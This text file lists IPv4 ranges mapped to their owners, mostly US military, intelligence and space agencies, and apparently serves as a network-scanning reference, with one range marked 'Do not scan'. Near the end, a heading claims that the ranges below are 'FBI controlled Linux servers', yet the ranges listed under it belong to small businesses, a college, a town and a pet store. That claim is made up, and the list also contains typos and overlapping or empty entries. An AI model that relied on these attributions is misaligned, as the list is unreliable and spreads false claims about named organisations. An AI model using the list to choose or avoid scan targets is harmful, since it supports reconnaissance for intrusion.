132.56.0.0 - 132.56.255.255 9 CS/SC
132.57.0.0 Castle Air Force Base
132.58.0.0 Nellis Air Force Base
132.59.0.0 24Comm SquadronSCSNA
132.60.0.0 - 132.60.255.255 42ND COMMUNICATION SQUADRON
132.61.0.0 SSG/SIN
132.62.0.0 - 132.62.255.255 377 COMMUNICATION SQUADRON
132.79.0.0 Army National Guard Bureau
132.80.0.0 - 132.80.255.255 NGB-AIS-OS
132.80.0.0 - 132.85.255.255 National Guard Bureau
132.82.0.0 Army National Guard Bureau
132.86.0.0 National Guard Bureau
132.87.0.0 - 132.93.255.255 National Guard Bureau
132.94.0.0 Army National Guard Bureau
132.95.0.0 - 132.103.255.255 National Guard Bureau
132.95.0.0 - 132.108.0.0 DOD Network Information Center
132.104.0.0 - 132.104.255.255 Army National Guard Bureau
132.105.0.0 - 132.108.255.255 Army National Guard Bureau
132.109.0.0 National Guard Bureau
132.110.0.0 - 132.116.255.255 Army National Guard Bureau
132.114.0.0 Army National Guard
132.117.0.0 Army National Guard Bureau
132.118.0.0 - 132.132.0.0 Army National Guard Bureau
132.122.0.0 South Carolina Army National Guard, USPFO
132.133.0.0 National Guard Bureau
132.134.0.0 - 132.143.255.255 National Guard Bureau
132.159.0.0 Army Information Systems Command
132.193.0.0 Army Research Office
132.250.0.0 Naval Research Laboratory

RANGE 134
134.5.0.0 Lockheed Aeronautical Systems Company
134.11.0.0 The Pentagon
134.12.0.0 NASA Ames Research Center
134.51.0.0 Boeing Military Aircraft Facility
134.52.*.* Boeing Corporation
134.78.0.0 Army Information Systems Command-ATCOM
134.80.0.0 Army Information Systems Command
134.118.0.0 NASA/Johnson Space Center
134.131.0.0 Wright-Patterson Air Force Base
134.136.0.0 Wright-Patterson Air Force Base
134.164.0.0 Army Engineer Waterways Experiment Station
134.165.0.0 Headquarters Air Force Space Command
134.194.0.0 U.S. Army Aberdeen Test Center
134.205.0.0 7th Communications Group
134.207.0.0 Naval Research Laboratory
134.229.0.0 Navy Regional Data Automation Center
134.230.0.0 Navy Regional Data Automation Center
134.232.0.0 - 134.232.255.255 U.S. Army, Europe
134.233.0.0 HQ 5th Signal Command
134.234.0.0 - 134.234.255.255 Southern European Task Force
134.235.0.0 HQ 5th Signal Command
134.240.0.0 U.S. Military Academy
136.149.0.0 Air Force Military Personnel Center

RANGE 136
136.178.0.0 NASA Research Network
136.188.0.0 - 136.197.255.255 Defense Intelligence Agency
136.207.0.0 69th Signal Battalion
136.208.0.0 HQ, 5th Signal Command
136.209.0.0 HQ 5th Signal Command
136.210.0.0 HQ 5th Signal Command
136.212.0.0 HQ 5th Signal Command
136.213.0.0 HQ, 5th Signal Command
136.214.0.0 HQ, 5th Signal Command
136.215.0.0 HQ, 5th Signal Command
136.216.0.0 HQ, 5th Signal Command
136.217.0.0 HQ, 5th Signal Command
136.218.0.0 HQ, 5th Signal Command
136.219.0.0 HQ, 5th Signal Command
136.220.0.0 HQ, 5th Signal Command
136.221.0.0 HQ, 5th Signal Command
136.222.0.0 HQ, 5th Signal Command

RANGE 137
137.1.0.0 Whiteman Air Force Base
137.2.0.0 George Air Force Base
137.3.0.0 Little Rock Air Force Base
137.4.0.0 - 137.4.255.255 437 CS/SC
137.5.0.0 Air Force Concentrator Network
137.6.0.0 Air Force Concentrator Network
137.11.0.0 HQ AFSPC/SCNNC
137.12.0.0 Air Force Concentrator Network
137.17.* National Aerospace Laboratory
137.24.0.0 Naval Surface Warfare Center
137.29.0.0 First Special Operations Command
137.67.0.0 Naval Warfare Assessment Center
137.94.* Royal Military College
137.95.* Headquarters, U.S. European Command
137.126.0.0 USAF MARS
137.127.* Army Concepts Analysis Agency
137.128.* U.S. ARMY Tank-Automotive Command
137.130.0.0 Defense Information Systems Agency
137.209.0.0 Defense Information Systems Agency
137.210.0.0 Defense Information Systems Agency
137.211.0.0 Defense Information Systems Agency
137.212.0.0 Defense Information Systems Agency
137.231.0.0 HQ 5th Signal Command
137.232.0.0 Defense Information Systems Agency
137.233.0.0 Defense Information Systems Agency
137.234.0.0 Defense Information Systems Agency
137.235.0.0 Defense Information Systems Agency
137.240.0.0 Air Force Materiel Command
137.241.0.0 75 ABW
137.242.0.0 Air Force Logistics Command
137.243.0.0 77 CS/SCCN
137.244.0.0 78 CS/SCSC
137.245.0.0 Wright Patterson Air Force Base
137.246.0.0 United States Atlantic Command Joint Training

RANGE 138
138.13.0.0 Air Force Systems Command
138.27.0.0 Army Information Systems Command
138.50.0.0 HQ 5th Signal Command
138.65.0.0 HQ, 5th Signal Command
138.76.0.0 NASA Headquarters
138.109.0.0 Naval Surface Warfare Center
138.115.0.0 NASA Information and Electronic Systems Laboratory
138.135.0.0 - 138.135.255.255 DEFENSE PROCESSING CENTERPERAL HARBOR
138.136.0.0 - 138.136.255.255 Navy Computers and Telecommunications Station
138.137.0.0 Navy Regional Data Automation Center (NARDAC)
138.139.0.0 Marine Corps Air Station
138.140.0.0 Navy Regional Data Automation Center
138.141.0.0 Navy Regional Data Automation Center
138.142.0.0 Navy Regional Data Automation Center
138.143.0.0 Navy Regional Data Automation Center
138.144.0.0 NAVCOMTELCOM
138.145.0.0 NCTS WASHINGTON
138.146.0.0 NCTC
138.147.0.0 NCTC
138.148.0.0 NCTC
138.149.0.0 NCTC
138.150.0.0 NCTC
138.151.0.0 NCTC
138.152.0.0 NCTC
138.153.0.0 Yokosuka Naval Base
138.154.0.0 NCTC
138.155.0.0 NCTC
138.156.0.0 Marine Corps Central Design & Prog. Activity
138.157.0.0 - 138.157.255.255 Marine Corps Central Design & Prog. Activity
138.158.0.0 Marine Corps Central Design & Prog. Activity
138.159.0.0 NCTC
138.160.0.0 Naval Air Station
138.161.0.0 NCTC
138.162.0.0 NCTC
138.163.0.0 NCTC
138.164.0.0 NCTC
138.165.0.0 NCTC
138.166.0.0 NCTC
138.167.0.0 NOC, MCTSSA, East
138.168.0.0 Marine Corps Central Design & Prog. Activity
138.169.0.0 NAVAL COMPUTER AND TELECOMM
138.169.12.0 NAVAL COMPUTER AND TELECOMM
138.169.13.0 NAVAL COMPUTER AND TELECOMM
138.170.0.0 NCTC
138.171.0.0 NCTC
138.172.0.0 NCTC
138.173.0.0 NCTC
138.174.0.0 NCTC
138.175.0.0 NCTC
138.176.0.0 NCTC
138.177.0.0 NCTS Pensacola
138.178.0.0 NCTC
138.179.0.0 NCTC
138.180.0.0 NCTC
138.181.0.0 NCTC
138.182.0.0 CNO N60
138.183.0.0 NCTC
138.184.0.0 NCTS
138.193.0.0 NASA/Yellow Creek

RANGE 139
139.31.0.0 20th Tactical Fighter Wing
139.32.0.0 48th Tactical Fighter Wing
139.33.0.0 36th Tactical Fighter Wing
139.34.0.0 52nd Tactical Fighter Wing
139.35.0.0 50th Tactical Fighter Wing
139.36.0.0 66th Electronic Combat Wing
139.37.0.0 26th Tactical Reconnaissance Wing
139.38.0.0 32nd Tactical Fighter Squadron
139.39.0.0 81st Tactical Fighter Wing
139.40.0.0 10th Tactical Fighter Wing
139.41.0.0 39th Tactical Air Control Group
139.42.0.0 40th Tactical Air Control Group
139.43.0.0 401st Tactical Fighter Wing
139.124.* Reseau Infomratique
139.142.*.*

RANGE 140
140.1.0.0 Defense Information Systems Agency
140.3.0.0 Defense Information Systems Agency
140.4.0.0 Defense Information Systems Agency
140.5.0.0 Defense Information Systems Agency
140.6.0.0 Defense Information Systems Agency
140.7.0.0 Defense Information Systems Agency
140.8.0.0 Defense Information Systems Agency
140.9.0.0 Defense Information Systems Agency
140.10.0.0 Defense Information Systems Agency
140.11.0.0 Defense Information Systems Agency
140.12.0.0 Defense Information Systems Agency
140.13.0.0 Defense Information Systems Agency
140.14.0.0 DISA Columbus Level II NOC
140.15.0.0 Defense Information Systems Agency
140.16.0.0 Defense Information Systems Agency
140.17.0.0 Defense Information Systems Agency
140.18.0.0 Defense Information Systems Agency
140.19.0.0 Defense Information Systems Agency
140.20.0.0 Defense Information Systems Agency
140.21.0.0 Defense Information Systems Agency
140.22.0.0 Defense Information Systems Agency
140.23.0.0 Defense Information Systems Agency
140.24.0.0 ASIC ALLIANCE-MARLBORO
140.25.0.0 Defense Information Systems Agency
140.26.0.0 Defense Information Systems Agency
140.27.0.0 Defense Information Systems Agency
140.28.0.0 Defense Information Systems Agency
140.29.0.0 Defense Information Systems Agency
140.30.0.0 Defense Information Systems Agency
140.31.0.0 Defense Information Systems Agency
140.32.0.0 Defense Information Systems Agency
140.33.0.0 Defense Information Systems Agency
140.34.0.0 Defense Information Systems Agency
140.35.0.0 Defense Information Systems Agency
140.36.0.0 Defense Information Systems Agency
140.37.0.0 Defense Information Systems Agency
140.38.0.0 Defense Information Systems Agency
140.39.0.0 Defense Information Systems Agency
140.40.0.0 Defense Information Systems Agency
140.41.0.0 Defense Information Systems Agency
140.42.0.0 Defense Information Systems Agency
140.43.0.0 Defense Information Systems Agency
140.44.0.0 Defense Information Systems Agency
140.45.0.0 Defense Information Systems Agency
140.46.0.0 Defense Information Systems Agency
140.47.0.0 - 140.47.255.255 Defense Information Systems Agency
140.47.0.0 - 140.48.255.255 DOD Network Information Center
140.48.0.0 - 140.48.255.255 Defense Information Systems Agency
140.49.0.0 Defense Information Systems Agency
140.50.0.0 Defense Information Systems Agency
140.51.0.0 Defense Information Systems Agency
140.52.0.0 Defense Information Systems Agency
140.53.0.0 Defense Information Systems Agency
140.54.0.0 Defense Information Systems Agency
140.55.0.0 Defense Information Systems Agency
140.56.0.0 Defense Information Systems Agency
140.57.0.0 Defense Information Systems Agency
140.58.0.0 Defense Information Systems Agency
140.59.0.0 Defense Information Systems Agency
140.60.0.0 Defense Information Systems Agency
140.61.0.0 Defense Information Systems Agency
140.62.0.0 Defense Information Systems Agency
140.63.0.0 Defense Information Systems Agency
140.64.0.0 Defense Information Systems Agency
140.65.0.0 Defense Information Systems Agency
140.66.0.0 Defense Information Systems Agency
140.67.0.0 Defense Information Systems Agency
140.68.0.0 Defense Information Systems Agency
140.69.0.0 Defense Information Systems Agency
140.70.0.0 Defense Information Systems Agency
140.71.0.0 Defense Information Systems Agency
140.72.0.0 Defense Information Systems Agency
140.73.0.0 Defense Information Systems Agency
140.74.0.0 - 140.74.255.255 Defense Information Systems Agency
140.100.0.0 Naval Sea Systems Command
140.139.0.0 HQ US Army Medical Research and Development Command
140.154.0.0 HQ 5th Signal Command
140.155.0.0 HQ, 5th Signal Command
140.156.0.0 HQ, 5th Signal Command
140.175.0.0 Scott Air Force Base
140.178.0.0 Naval Undersea Warfare Center Division, Keyport
140.187.0.0 Fort Bragg
140.194.0.0 US Army Corps of Engineers
140.195.0.0 Naval Sea Systems Command
140.199.0.0 Naval Ocean Systems Center
140.201.0.0 HQ, 5th Signal Command
140.202.0.0 106TH SIGNAL BRIGADE

RANGE 143
143.45.0.0 58th Signal Battalion
143.46.0.0 U.S. Army, 1141st Signal Battalion
143.68.0.0 Headquarters, USAISC
143.69.0.0 Headquarters, USAAISC
143.70.0.0 Headquarters, USAAISC
143.71.0.0 Headquarters, USAAISC
143.72.0.0 Headquarters, USAAISC
143.73.0.0 Headquarters, USAAISC
143.74.0.0 Headquarters, USAAISC
143.75.0.0 Headquarters, USAAISC
143.76.0.0 Headquarters, USAAISC
143.77.0.0 Headquarters, USAAISC
143.78.0.0 Headquarters, USAAISC
143.79.0.0 Headquarters, USAAISC
143.80.0.0 Headquarters, USAAISC
143.81.0.0 Headquarters, USAAISC
143.82.0.0 Headquarters, USAAISC
143.84.0.0 Headquarters, USAAISC
143.85.0.0 Headquarters, USAAISC
143.86.0.0 Headquarters, USAAISC
143.87.0.0 Headquarters, USAAISC
143.232.0.0 NASA Ames Research Center

RANGE 144
144.99.0.0 United States Army Information Systems Command
144.109.0.0 Army Information Systems Command
144.143.0.0 Headquarters, Third United States Army
144.144.0.0 Headquarters, Third United States Army
144.146.0.0 Commander, Army Information Systems Center
144.147.0.0 Commander, Army Information Systems Center
144.170.0.0 HQ, 5th Signal Command
144.192.0.0 United States Army Information Services Command-Campbell
144.233.0.0 Defense Intelligence Agency
144.234.0.0 Defense Intelligence Agency
144.235.0.0 Defense Intelligence Agency
144.236.0.0 Defense Intelligence Agency
144.237.0.0 Defense Intelligence Agency
144.238.0.0 Defense Intelligence Agency
144.239.0.0 Defense Intelligence Agency
144.240.0.0 Defense Intelligence Agency
144.241.0.0 Defense Intelligence Agency
144.242.0.0 Defense Intelligence Agency
144.252.0.0 U.S. Army LABCOM

RANGE 146
146.17.0.0 HQ, 5th Signal Command
146.80.0.0 Defence Research Agency
146.98.0.0 HQ United States European Command
146.154.0.0 NASA/Johnson Space Center
146.165.0.0 NASA Langley Research Center

RANGE 147
147.35.0.0 HQ, 5th Signal Command
147.36.0.0 HQ, 5th Signal Command
147.37.0.0 HQ, 5th Signal Command
147.38.0.0 HQ, 5th Signal Command
147.39.0.0 HQ, 5th Signal Command
147.40.0.0 HQ, 5th Signal Command
147.42.0.0 Army CALS Project
147.103.0.0 Army Information Systems Software Center
147.104.0.0 Army Information Systems Software Center
147.159.0.0 Naval Air Warfare Center, Aircraft Division
147.168.0.0 Naval Surface Warfare Center
147.169.0.0 HQ, 5th Signal Command
147.198.0.0 Army Information Systems Command
147.199.0.0 Army Information Systems Command
147.238.0.0 Army Information Systems Command
147.239.0.0 1112th Signal Battalion
147.240.0.0 US Army Tank-Automotive Command
147.242.0.0 19th Support Command
147.248.0.0 Fort Monroe DOIM
147.254.0.0 7th Communications Group

RANGE 148
148.114.0.0 NASA, Stennis Space Center

RANGE 150
150.113.0.0 1114th Signal Battalion
150.114.0.0 1114th Signal Battalion
150.125.0.0 Space and Naval Warfare Command
150.133.0.0 10th Area Support Group
150.144.0.0 NASA Goodard Space Flight Center
150.149.0.0 Army Information Systems Command
150.157.0.0 USAISC-Fort Lee
150.184.0.0 Fort Monroe DOIM
150.190.0.0 USAISC-Letterkenny
150.196.0.0 USAISC-LABCOM

RANGE 152
152.82.0.0 7th Communications Group of the Air Force
152.151.0.0 U.S. Naval Space & Naval Warfare Systems Command
152.152.0.0 NATO Headquarters
152.154.0.0 Defense Information Systems Agency
152.229.0.0 Defense MegaCenter (DMC) Denver

RANGE 153
153.21.0.0 USCENTAF/SCM
153.22.0.0 USCENTAF/SCM
153.23.0.0 USCENTAF/SCM
153.24.0.0 USCENTAF/SCM
153.25.0.0 USCENTAF/SCM
153.26.0.0 USCENTAF/SCM
153.27.0.0 USCENTAF/SCM
153.28.0.0 USCENTAF/SCM
153.29.0.0 USCENTAF/SCM
153.30.0.0 USCENTAF/SCM
153.31.0.0 Federal Bureau of Investigation

RANGE 155
155.5.0.0 1141st Signal Bn
155.6.0.0 1141st Signal Bn
155.7.0.0 American Forces Information
155.8.0.0 U.S. ArmyFort Gordon
155.9.0.0 - 155.9.255.255 United States Army Information Systems Command
155.74.0.0 PEO STAMIS
155.75.0.0 US Army Corps of Engineers
155.76.0.0 PEO STAMIS
155.77.0.0 PEO STAMIS
155.78.0.0 PEO STAMIS
155.79.0.0 US Army Corps of Engineers
155.80.0.0 PEO STAMIS
155.81.0.0 PEO STAMIS
155.82.0.0 PEO STAMIS
155.83.0.0 US Army Corps of Enginers
155.84.0.0 PEO STAMIS
155.85.0.0 PEO STAMIS
155.86.0.0 US Army Corps of Engineers
155.87.0.0 PEO STAMIS
155.88.0.0 PEO STAMIS
155.96.0.0 Drug Enforcement Administration
155.149.0.0 1112th Signal Battalion
155.155.0.0 HQ, 5th Signal Command
155.178.0.0 Federal Aviation Administration
155.213.0.0 USAISC Fort Benning
155.214.0.0 Director of Information Management
155.215.0.0 USAISC-FT DRUM
155.216.0.0 TCACCIS Project Management Office
155.217.0.0 Directorate of Information Management
155.218.0.0 USAISC
155.219.0.0 DOIM/USAISC Fort Sill
155.220.0.0 USAISC-DOIM
155.221.0.0 USAISC-Ft Ord

RANGE 156
156.9.0.0 U. S. Marshals Service

RANGE 157
157.150.0.0 United Nations
157.153.0.0 COMMANDER NAVAL SURFACE U.S. PACIFIC FLEET
157.202.0.0 US Special Operations Command
157.217.0.0 U. S. Strategic Command

RANGE 158
158.1.0.0 Commander, Tooele Army Depot
158.2.0.0 USAMC Logistics Support Activity
158.3.0.0 U.S. Army TACOM
158.4.0.0 UASISC Ft. Carson
158.5.0.0 1112th Signal Battalion
158.6.0.0 USAISC-Ft. McCoy
158.7.0.0 USAISC-FLW
158.8.0.0 US Army Soldier Support Center
158.9.0.0 USAISC-CECOM
158.10.0.0 GOC
158.11.0.0 UASISC-Vint Hill
158.12.0.0 US Army Harry Diamond Laboratories
158.13.0.0 USAISC DOIM
158.14.0.0 1112th Signal Battalion
158.15.0.0 - 158.15.255.255 Defense Megacenter Huntsville
158.16.0.0 Rocky Mountain Arsenal (PMRMA)
158.17.0.0 Crane Army Ammunition Activity
158.18.0.0 Defense Finance & Accounting Service Center
158.19.0.0 DOIM
158.20.0.0 DOIM
158.235.0.0 Marine Corps Central Design and Programming Activity
158.243.0.0 Marine Corps Central Design and Programming Activity
158.244.0.0 Marine Corps Central Design and Programming Activity
158.245.0.0 Marine Corps Central Design and Programming Activity
158.246.0.0 Marine Corps Central Design and Programming Activity

RANGE 159
159.120.0.0 Naval Air Systems Command (Air 4114)

RANGE 160
160.132.0.0 US Army Recruiting Command
160.135.0.0 36th Signal BN
160.138.0.0 USAISC
160.139.0.0 USAISC
160.140.0.0 HQ, United States Army
160.143.0.0 USAISC
160.145.0.0 1101st Signal Brigade
160.146.0.0 USAISC SATCOMSTA-CAMP ROBERTS
160.150.0.0 Commander, Moncrief Army Hospital

RANGE 161
161.124.0.0 NAVAL WEAPONS STATION

RANGE 162
162.32.0.0 Naval Aviation Depot Pensacola
162.45.0.0 Central Intelligence Agency
162.46.0.0 Central Intelligence Agency

RANGE 163
163.205.0.0 NASA Kennedy Space Center
163.206.0.0 NASA Kennedy Space Center

RANGE 164
164.45.0.0 Naval Ordnance Center, Pacific Division
164.49.0.0 United States Army Space and Strategic Defense
164.158.0.0 Naval Surface Warfare Center
164.217.0.0 Institute for Defense Analyses
164.218.0.0 Bureau of Naval Personnel
164.219.0.0 HQ USAFE WARRIOR PREPARATION CENTER
164.220.0.0 - 164.220.255.255 NIMIP/TIP/NEWNET
164.221.0.0 - 164.221.255.255 Information Technology
164.223.0.0 Naval Undersea Warfare Center
164.224.0.0 Secretary of the Navy
164.225.0.0 U.S. Army Intelligence and Security Command
164.226.0.0 Naval Exchange Service Command
164.227.0.0 Naval Surface Warfare Center, Crane Division
164.228.0.0 USCINCPAC J21T
164.229.0.0 NCTS-NOLA
164.230.0.0 Naval Aviation Depot
164.231.0.0 Military Sealift Command
164.232.0.0 - 164.232.255.255 United States Southern Command

RANGE 167
167.44.0.0 Government Telecommunications Agency

RANGE 168
168.68.0.0 USDA Office of Operations
168.85.0.0 Fort Sanders Alliance
168.102.0.0 Indiana Purdue Fort Wayne

RANGE 169
169.252.0.0 - 169.253.0.0 U.S. Department of State

RANGE 194

RANGE 195
195.10.* Various - Do not scan

RANGE 199
199.121.4.0 - 199.121.253.0 Naval Air Systems Command, VA

RANGE 203
203.59.0.0 - 203.59.255.255 Perth Australia iiNET

RANGE 204
204.34.0.0 - 204.34.15.0 IPC JAPAN
204.34.0.0 - 204.37.255.0 DOD Network Information Center
204.34.16.0 - 204.34.27.0 Bureau of Medicine and Surgery
204.34.32.0 - 204.34.63.0 USACOM
204.34.64.0 - 204.34.115.0 DEFENSE FINANCE AND ACCOUNTING SERVICE
204.34.128.0 DISA-Eucom / BBN-STD, Inc.
204.34.129.0 Defense Technical Information Center
204.34.130.0 GSI
204.34.131.0 NSA NAPLES ITALY
204.34.132.0 NAVSTA ROTA SPAIN
204.34.133.0 NAS SIGONELLA ITALY
204.34.134.0 Naval Air Warfare Center Aircraft Division
204.34.135.0 GSI
204.34.136.0 Naval Undersea Warfare Center USRD - Orlando
204.34.137.0 Joint Spectrum Center
204.34.138.0 GSI
204.34.139.0 HQ, JFMO Korea, Headquarters
204.34.140.0 DISA D75
204.34.141.0 U. S. Naval Air Facility, Atsugi Japan
204.34.142.0 Naval Enlisted Personnel Management Center
204.34.143.0 Afloat Training Group Pacific
204.34.144.0 HQ Special Operations Command - Europe
204.34.145.0 Commander Naval Base Pearl Harbor
204.34.147.0 NAVSEA Information Management Improvement Program
204.34.148.0 Q112
204.34.149.0 Ctr. for Info. Sys.Security,CounterMeasures
204.34.150.0 Resource Consultants, Inc.
204.34.151.0 Personnel Support Activity, San Diego
204.34.152.0 NAVAL AIR FACILITY, ADAK
204.34.153.0 NAVSEA Logistics Command Detachment
204.34.154.0 PEARL HARBOR NAVAL SHIPYARD
204.34.155.0 PEARL HARBOR NAVAL SHIPYARD
204.34.156.0 Defense Photography School
204.34.157.0 - 204.34.160.0 Defense Information School
204.34.161.0 Naval Air Systems Command
204.34.162.0 Puget Sound Naval Shipyard
204.34.163.0 Joint Precision Strike Demonstration
204.34.164.0 Naval Pacific Meteorology and Ocean
204.34.165.0 Joint Precision Strike Demonstration
204.34.167.0 USAF
204.34.168.0 Commander
204.34.169.0 Naval Air Warfare Center
204.34.170.0 Naval Air Systems Command
204.34.171.0 NAVSTA SUPPLY DEPARTMENT
204.34.173.0 SUBMEPP Activity
204.34.174.0 COMMANDER TASK FORCE 74 YOKOSUKA JAPAN
204.34.176.0 DISA-PAC,IPC-GUAM
204.34.177.0 Satellite Production Test Center
204.34.181.0 940 Air Refueling Wing
204.34.182.0 Defense Megacenter Warner Robins
204.34.183.0 GCCS Support Facility
204.34.184.0 Nav Air Tech Serv Facility-Detachment
204.34.185.0 NAVAL SUPPORT FACILITY, DIEGO GARCIA
204.34.186.0 Defense Logistics Agency - Europe
204.34.187.0 NAVMASSO
204.34.188.0 Commander-In-Chief, US Pacific Fleet
204.34.189.0 Defense MegaCenter - St Louis
204.34.190.0 NAVMASSO
204.34.192.0 HQ SOCEUR
204.34.193.0 Second Marine Expeditionary Force
204.34.194.0 Second Marine Expeditionary Force
204.34.195.0 Second Marine Expeditionary Force
204.34.196.0 NAVCOMTELSTAWASHDC
204.34.197.0 INFORMATION SYSTEMS TECHNOLOGY CENTER
204.34.198.0 Naval Observatory Detachment, Colorado
204.34.199.0 NAVILCODETMECH
204.34.200.0 Navy Environmental Preventive Medicine
204.34.201.0 Port Hueneme Division, Naval Surf
204.34.202.0 Naval Facilities Engineering Housing
204.34.203.0 NAVSEA Logistics Command Detachment
204.34.204.0 Naval Air Warfare Center
204.34.205.0 Portsmouth Naval Shipyard
204.34.206.0 INFORMATION SYSTEMS TECHNOLOGY CENTER
204.34.208.0 - 204.34.210.0 Military Sealift Command Pacific
204.34.211.0 USAF Academy
204.34.212.0 3rd Combat Service Support
204.34.213.0 1st Radio Battalion
204.34.214.0 OASD (Health Affairs)
204.34.215.0 Second Marine Expeditionary Force
204.34.216.0 1st Marine Air Wing
204.34.217.0 SA-ALC/LTE
204.34.218.0 3rd Marine
204.34.219.0 Communications and Electronics
204.34.220.0 G-6 Operations
204.34.221.0 G-6 Operations
204.34.222.0 G-6 Operations
204.34.223.0 G-6 Operations
204.34.224.0 G-6 Operations
204.34.225.0 Joint Interoperability Test Command
204.34.226.0 NAVMASSO
204.34.227.0 NAVMASSO
204.34.228.0 - 204.34.228.255 Field Command Defense Nuclear Agency
204.34.229.0 Naval Space Command
204.34.230.0 Naval Pacific Meteorology and Oceanography
204.34.232.0 Military Family Housing
204.34.233.0 - 204.34.233.255 Navy Material Transportation Office
204.34.234.0 NAVMASSO
204.34.235.0 Defense Finance and Accounting Service
204.34.237.0 European Stars and Stripes
204.34.238.0 Pacific Stars and Stripes
204.34.239.0 PUGET SOUND NAVAL SHIPYARD
204.34.240.0 Nval Station, Guantanamo Bay
204.34.242.0 COMNAVSURFPAC
204.34.243.0 NAVMASSO
204.34.244.0 Amphibious Force, Seventh Fleet, U. S. Navy
204.34.245.0 USAF SpaceCommand
204.34.246.0 USAF
204.34.247.0 U.S. Army Special Operations Command
204.34.248.0 FLEET COMBAT TRAINING CENTER ATLA
204.34.249.0 Naval Aviation Depot North Island
204.34.250.0 NAVMASSO
204.34.251.0 NAVSEA Log Command Detachment Pacific
204.34.252.0 Command Special Boat Squadron One
204.34.253.0 AFPCA/GNNN
204.34.254.0 Navy Environmental Preventive Medicine

RANGE 205
205.0.0.0 - 205.117.255.0 Department of the Navy, Space and Naval Warfare System Command, Washington DC - SPAWAR
205.96.* - 205.103.*

RANGE 207
207.30.* Sprint/United Telephone of Florida

All the below are FBI controlled Linux servers & IPs/IP-Ranges
207.60.0.0 - 207.60.255.0 The Internet Access Company
207.60.2.128 - 207.60.2.255 Abacus Technology
207.60.3.0 - 207.60.3.127 Mass Electric Construction Co.
207.60.3.128 - 207.60.3.255 Peabody Proberties Inc
207.60.4.0 - 207.60.4.127 Northern Electronics
207.60.4.128 - 207.60.4.255 Posternak, Blankstein & Lund
207.60.5.64 - 207.60.5.127 Woodard & Curran
207.60.5.192 - 207.60.5.255 On Line Services
207.60.6.0 - 207.60.6.63 The 400 Group
207.60.6.64 - 207.60.6.127 RD Hunter and Company
207.60.6.128 - 207.60.6.191 Louis Berger and Associates
207.60.6.192 - 207.60.6.255 Ross-Simons
207.60.7.0 - 207.60.7.63 Eastern Cambridge Savings Bank
207.60.7.64 - 207.60.7.127 Greater Lawrence Community Action Committee
207.60.7.128 - 207.60.7.191 Data Electronic Devices, Inc
207.60.8.0 - 207.60.8.255 Sippican
207.60.9.0 - 207.60.9.31 Alps Sportswear Mfg Co
207.60.9.32 - 207.60.9.63 Escher Group Ltd
207.60.9.64 - 207.60.9.95 West Suburban Elder
207.60.9.96 - 207.60.9.127 Central Bank
207.60.9.128 - 207.60.9.159 Danick Systems
207.60.9.160 - 207.60.9.191 Alps Sportswear Mfg CO
207.60.9.192 - 207.60.9.223 BSCC
207.60.13.16 - 207.60.13.23 Patrons Insurance Group
207.60.13.40 - 207.60.13.47 Athera Technologies
207.60.13.48 - 207.60.13.55 Service Edge Partners Inc
207.60.13.56 - 207.60.13.63 Massachusetts Credit Union League
207.60.13.64 - 207.60.13.71 SierraCom
207.60.13.72 - 207.60.13.79 AI/ FOCS
207.60.13.80 - 207.60.13.87 Extreme soft
207.60.13.96 - 207.60.13.103 Eaton Seo Corp
207.60.13.112 - 207.60.13.119 C. White
207.60.13.120 - 207.60.13.127 Athera
207.60.13.128 - 207.60.13.135 Entropic Systems, INC
207.60.13.136 - 207.60.13.143 Wood Product Manufactureds Associates
207.60.13.160 - 207.60.13.167 Jamestown Distribution
207.60.13.168 - 207.60.13.175 C&M Computers
207.60.13.176 - 207.60.13.183 ABC Used Auto Parts
207.60.13.184 - 207.60.13.191 Tomas Weldon
207.60.13.192 - 207.60.13.199 Tage Inns
207.60.13.200 - 207.60.13.207 Control Module Inc
207.60.13.208 - 207.60.13.215 Hyper Crawler Information Systems
207.60.13.216 - 207.60.13.223 Eastern Bearings
207.60.13.224 - 207.60.13.231 North Shore Data Services
207.60.13.232 - 207.60.13.239 Mas New Hampshire
207.60.14.0 - 207.60.14.255 J. A. Webster
207.60.15.0 - 207.60.15.127 Trilogic
207.60.16.0 - 207.60.16.255 Area 54
207.60.18.0 - 207.60.18.63 Vested Development Inc
207.60.18.64 - 207.60.18.127 Conventures
207.60.21.0 - 207.60.21.255 Don Law Company
207.60.22.0 - 207.60.22.255 Advanced Microsensors
207.60.28.0 - 207.60.28.63 Applied Business Center
207.60.28.64 - 207.60.28.127 Color and Design Exchange
207.60.36.8 - 207.60.36.15 Shaun McCusker
207.60.36.16 - 207.60.36.23 Town of Framingham
207.60.36.24 - 207.60.36.31 AB Software
207.60.36.32 - 207.60.36.39 Seabass Dreams Too Much, Inc
207.60.36.40 - 207.60.36.47 Next Ticketing
207.60.36.48 - 207.60.36.55 Dulsi
207.60.36.56 - 207.60.36.63 The Internet Access Company
207.60.36.64 - 207.60.36.71 Maguire Group
207.60.36.72 - 207.60.36.79 Cogenex
207.60.36.88 - 207.60.36.95 AKNDC
207.60.36.96 - 207.60.36.103 McGovern election commitee
207.60.36.104 - 207.60.36.111 Digital Equipment Corp
207.60.36.112 - 207.60.36.119 PTR - Precision Technologies
207.60.36.120 - 207.60.36.127 Extech
207.60.36.128 - 207.60.36.135 Manfreddi Architects
207.60.36.144 - 207.60.36.151 Parent Naffah
207.60.36.152 - 207.60.36.159 Darling Dolls Inc
207.60.36.160 - 207.60.36.167 Wright Communications
207.60.36.168 - 207.60.36.175 Principle Software
207.60.36.176 - 207.60.36.183 Chris Pet Store
207.60.36.184 - 207.60.36.191 Fifteen Lilies
207.60.36.192 - 207.60.36.199 All-Com Technologies
207.60.37.0 - 207.60.37.31 Cardio Thoracic Surgical Associates, P. A.
207.60.37.32 - 207.60.37.63 Preferred Fixtures Inc
207.60.37.64 - 207.60.37.95 Apple and Eve Distributors
207.60.37.96 - 207.60.37.127 Nelson Copy Supply
207.60.37.128 - 207.60.37.159 Boston Optical Fiber
207.60.37.192 - 207.60.37.223 Fantasia&Company
207.60.41.0 - 207.60.41.255 Infoactive
207.60.48.0 - 207.60.48.255 Curry College
207.60.62.32 - 207.60.62.63 Alternate Power Source
207.60.62.64 - 207.60.62.95 Keystone Howley-White
207.60.62.128 - 207.60.62.159 Bridgehead Associates LTD
207.60.62.160 - 207.60.62.191 County Supply
207.60.62.192 - 207.60.62.223 NH Board of Nursing
207.60.64.0 - 207.60.64.63 Diversified Wireless Technologies
207.60.64.64 - 207.60.64.127 Phytera
207.60.66.0 - 207.60.66.15 The Network Connection
207.60.66.16 - 207.60.66.31 Young Refrigeration
207.60.66.32 - 207.60.66.47 Vision Appraisal Technology
207.60.66.48 - 207.60.66.63 EffNet Inc
207.60.66.64 - 207.60.66.79 Entropic Systems Inc
